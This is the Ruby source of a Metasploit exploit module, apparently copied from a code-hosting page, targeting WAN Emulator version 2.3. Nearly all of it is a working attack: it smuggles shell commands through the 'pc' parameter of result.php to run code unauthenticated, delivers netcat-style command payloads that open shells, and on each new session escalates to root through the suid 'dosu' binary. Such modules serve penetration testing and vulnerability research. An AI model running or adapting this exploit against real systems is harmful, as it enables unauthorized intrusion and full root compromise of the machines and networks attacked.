113 lines
3.2 KiB
Ruby
113 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WAN Emulator v2.3 Command Execution',
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'Description' => %q{
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This module exploits a command execution vulnerability in WAN Emulator
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version 2.3 which can be abused to allow unauthenticated users to execute
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arbitrary commands under the context of the 'www-data' user.
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The 'result.php' script calls shell_exec() with user controlled data
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from the 'pc' parameter. This module also exploits a command execution
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vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
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and vulnerable to command execution in argument one.
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},
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'License' => MSF_LICENSE,
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'Privileged' => true,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Author' =>
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[
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'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
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],
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'References' =>
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[
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['OSVDB', '85344'],
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['OSVDB', '85345']
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x22\x27",
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic netcat netcat-e',
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}
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Targets' =>
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[
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['Automatic Targeting', { 'auto' => true }]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 12 2012'
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))
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end
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def on_new_session(client)
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client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
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end
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def check
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fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
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data = "pc=127.0.0.1; "
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data << Rex::Text.uri_encode("echo #{fingerprint}")
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data << "%26"
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vprint_status("Sending check")
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begin
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res = send_request_cgi({
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'uri' => '/WANem/result.php',
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'method' => 'POST',
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'data' => data
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}, 25)
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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vprint_error("Connection failed")
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return Exploit::CheckCode::Unknown
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end
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if res and res.code == 200 and res.body =~ /#{fingerprint}/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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data = "pc=127.0.0.1; "
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data << Rex::Text.uri_encode(payload.raw)
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data << "%26"
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print_status("Sending payload (#{payload.raw.length} bytes)")
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begin
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res = send_request_cgi({
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'uri' => '/WANem/result.php',
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'method' => 'POST',
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'data' => data
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}, 25)
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("Connection failed")
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end
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if res and res.code == 200
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print_good("Payload sent successfully")
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else
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print_error("Sending payload failed")
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end
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end
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end
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